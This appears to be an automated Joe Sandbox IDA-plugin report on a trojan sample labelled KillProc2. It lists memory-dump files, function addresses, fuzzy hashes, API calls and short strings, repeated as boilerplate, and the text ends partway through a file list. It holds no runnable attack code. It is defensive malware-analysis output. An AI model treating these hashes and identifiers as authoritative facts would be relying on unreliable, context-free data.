Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: e2bfaa2a90bc07085bcdd723880dfc3d1964e0ba28b6719d0c58fcf6106e27e9
Instruction ID: c70734b3c6c040545a5a9e87f439ee72bf28552252e4bfc8a809003187470aa2
Opcode Fuzzy Hash: e2bfaa2a90bc07085bcdd723880dfc3d1964e0ba28b6719d0c58fcf6106e27e9
Instruction Fuzzy Hash: B451B872C04122DBCB09FA38C8555FDBFA2FBE0350F05462DF4D193A80D23999AAC781

Uniqueness

Uniqueness Score: -1.00%

Function 0058C008 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

=%s&, xrefs: 0058C019

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: =%s&
API String ID: 0-3416052899
Opcode ID: 6239f07df96ad41044afcc617e8cede053a11b2af166fb5a279777a660e71a66
Instruction ID: d56a047060c2e756e7fc51a6b0d073cc4d3b967e3c83f457c5e83a473e8ccc96
Opcode Fuzzy Hash: 6239f07df96ad41044afcc617e8cede053a11b2af166fb5a279777a660e71a66
Instruction Fuzzy Hash: C2019AB40093539FDB25EF1488817AEBFF1BF91340F601D5CBA80272A5D3B9855ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 0058D2FA Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1e2767b1259978f37713849e75dd7963ae455e05d991bc0038a6f8011d26272
Instruction ID: c0bb600985dc5a40b3b2f9ead6a25511a3911c192615bc51d1a6609e5779390d
Opcode Fuzzy Hash: b1e2767b1259978f37713849e75dd7963ae455e05d991bc0038a6f8011d26272
Instruction Fuzzy Hash: 3D319979D0023E8BDF01EA24DC943EA7BA3EBD5750F104659D99893280E73E858A8E02

Uniqueness

Uniqueness Score: -1.00%

Function 004E708A Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f842e73dc632c42a769f7985103bde56ae759e42a590d33cd9bd87fd9484ffc5
Instruction ID: d59b16f3fbeaa41d0cad9ede426eba9d8ff9bc7028611f636c3e197224cee70a
Opcode Fuzzy Hash: f842e73dc632c42a769f7985103bde56ae759e42a590d33cd9bd87fd9484ffc5
Instruction Fuzzy Hash: 91417E71A043858BD728CF6AE88666BFBF0EF58325F54846FD40AD73A0D3389884DB15

Uniqueness

Uniqueness Score: -1.00%

Function 004E1140 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 0552433d6e857feabf811ca67c0868c45e90e66b5fd17b5135f8b1b4d3faa003
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 54113D0A8492C4BDCF424A7840E56EBEFA58E3B218F4A71DAC8C45B753D01B150FE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0058B74D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82211ee4d5327f04d8d9ef3ad5752607d5ad7958052e9f2f7fb1d64167de8060
Instruction ID: 229a2a1fe832fb596996ea907e11a1799c4bdfc95be23322a87f35d9d7ef18ea
Opcode Fuzzy Hash: 82211ee4d5327f04d8d9ef3ad5752607d5ad7958052e9f2f7fb1d64167de8060
Instruction Fuzzy Hash: 62E086B10483109FD302EF14C94136A7AE79B44B50F41891DB4C42F7E5C3BD4614CB91

Uniqueness

Uniqueness Score: -1.00%

Function 004E1980 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73threadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNELBASE(?), ref: 004E19BD
UpdateProcThreadAttribute.KERNELBASE(?,00000000,00020000,00000001,00000004,00000000,00000000), ref: 004E19DC
DeleteProcThreadAttributeList.KERNELBASE(?), ref: 004E1A2E

Strings

H, xrefs: 004E19F6
`, xrefs: 004E19B2

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: AttributeProcThread$List$DeleteInitializeUpdate
String ID: H$`
API String ID: 1756550339-1033012628
Opcode ID: fdacb191bced36bf5c05094c9f0345ea1abd6baa09a0fd24e89d1e8a897c5c49
Instruction ID: 431a1fed0b1318c98bb024bc3655ad2b1048018204b27b4d8686cd1d571df105
Opcode Fuzzy Hash: fdacb191bced36bf5c05094c9f0345ea1abd6baa09a0fd24e89d1e8a897c5c49
Instruction Fuzzy Hash: F6216D72505354ABD220DB62DC49EEBBFECFF85764F00082AF658C2250E7749548CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 0058E9B5 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 60COMMON

Download Yara Rule

Strings

e, xrefs: 005937D1
0, xrefs: 0059381E
g.ex, xrefs: 0058E9B9
pdia, xrefs: 00599712

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _rand
String ID: e$g.ex$pdia$0
API String ID: 1172538735-3418913546
Opcode ID: 2ee6eae3ea647960a5593e1ccd96ca48c9cbb43aeaef73ee907392f0bed7b418
Instruction ID: ff98d7360db53019a640637f3d0689b113c3f0136e635c79dff3131ab238eb58
Opcode Fuzzy Hash: 2ee6eae3ea647960a5593e1ccd96ca48c9cbb43aeaef73ee907392f0bed7b418
Instruction Fuzzy Hash: 091129B0408343AFDB01BF10C8866AEBEA6BF96340F15496CF58827256D7340A94DF63

Uniqueness

Uniqueness Score: -1.00%

Function 004E6E56 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

__mtinitlocks.LIBCMT ref: 004E6E5B
__mtterm.LIBCMT ref: 004E6E64
__calloc_crt.LIBCMT ref: 004E6E89
__initptd.LIBCMT ref: 004E6EAB

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: __calloc_crt__initptd__mtinitlocks__mtterm
String ID:
API String ID: 62156438-0
Opcode ID: 3c18fbd856abbe5750c82926a7f78ee82b7d1af37726152bddcd10fc46035d46
Instruction ID: 09e9d607568611a1ced1a1fc75e6659539e65d55298d13c339d150cb64ca9879
Opcode Fuzzy Hash: 3c18fbd856abbe5750c82926a7f78ee82b7d1af37726152bddcd10fc46035d46
Instruction Fuzzy Hash: F0F0F6761097E219E638777BBC07A4B2A808F21BBBF22065FF418C41D1FE198841516C

Uniqueness

Uniqueness Score: -1.00%

Function 004E656B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 004E65FF
___crtLCMapStringA.LIBCMT ref: 004E6620
___crtLCMapStringA.LIBCMT ref: 004E6648

Strings

, xrefs: 004E65D3

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: df019167406fc531cda0ee21e5085606a3d2c56b3cd94bc98f1c91a469594a2f
Instruction ID: 4ff315532cb156ed20b8496f4e68ffdeefbaf735b04380544323b9645029ba8f
Opcode Fuzzy Hash: df019167406fc531cda0ee21e5085606a3d2c56b3cd94bc98f1c91a469594a2f
Instruction Fuzzy Hash: AB413B705006C85FDF218E368D44BF7BBBD9F65349F1404EED59687102D2399A459F24

Uniqueness

Uniqueness Score: -1.00%

Function 004F1A7D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_CallSETranslator.LIBCMT ref: 004F1ADD
_GetRangeOfTrysToCheck.LIBCMT ref: 004F1B07

Strings

RCC, xrefs: 004F1AC4
MOC, xrefs: 004F1ABC

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: CallCheckRangeTranslatorTrys
String ID: MOC$RCC
API String ID: 263470341-2084237596
Opcode ID: 0edb1658bfb90a117bf7421b0dfd25f2beaef2a48f60d2cb4236d60ea0ca52f2
Instruction ID: 0e8fa211999d29c4e02585f08bda0172e3e723fc128a559c2caee715386c4aba
Opcode Fuzzy Hash: 0edb1658bfb90a117bf7421b0dfd25f2beaef2a48f60d2cb4236d60ea0ca52f2
Instruction Fuzzy Hash: 84417A3190014DEFDF11CF45C881EBEB76AEF44728F29819AFA0467262D379AD51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004E95CB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 004E95D9

Part of subcall function 004E6446: __setmbcp.LIBCMT ref: 004E6451

_parse_cmdline.LIBCMT ref: 004E961C
_parse_cmdline.LIBCMT ref: 004E9659

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe, xrefs: 004E95E6, 004E95ED, 004E961B, 004E9658

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _parse_cmdline$___initmbctable__setmbcp
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe
API String ID: 1290970244-2243660540
Opcode ID: 7120739f3d254fe27db33ee6ba0e81dc71838882561a720f832c2d82e669decb
Instruction ID: 7634725a61cbd60521f1a259924a36a7c8d24035231765a12933d6a8a59deea9
Opcode Fuzzy Hash: 7120739f3d254fe27db33ee6ba0e81dc71838882561a720f832c2d82e669decb
Instruction Fuzzy Hash: 91110AB2800288BBC710DBBAAC81DAB776DEF55725B20039BF816932D0D6345E48D768

Uniqueness

Uniqueness Score: -1.00%

Function 004F1CD4 Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 004F1D65
_memmove.LIBCMT ref: 004F1DD9
___AdjustPointer.LIBCMT ref: 004F1E2A
_memmove.LIBCMT ref: 004F1E33

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: AdjustPointer_memmove
String ID:
API String ID: 1721217611-0
Opcode ID: 69420394c3cc27d5178340f8232bdd03714b8af16a73b1886632f45c147fca12
Instruction ID: 76df070525d5a5a4572f198330193f8ea2572eb5fb639ca0056c55b5f903434e
Opcode Fuzzy Hash: 69420394c3cc27d5178340f8232bdd03714b8af16a73b1886632f45c147fca12
Instruction Fuzzy Hash: E441A03520430BEAEB289E26D941B7777B4AF55324F24401FEF50862F1EBB9E881D61D

Uniqueness

Uniqueness Score: -1.00%

Function 004ECAC0 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004ECAE4

Part of subcall function 004ED1CB: __fltout2.LIBCMT ref: 004ED1F4

__cftog_l.LIBCMT ref: 004ECB0A
__cftoe_l.LIBCMT ref: 004ECB3C

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
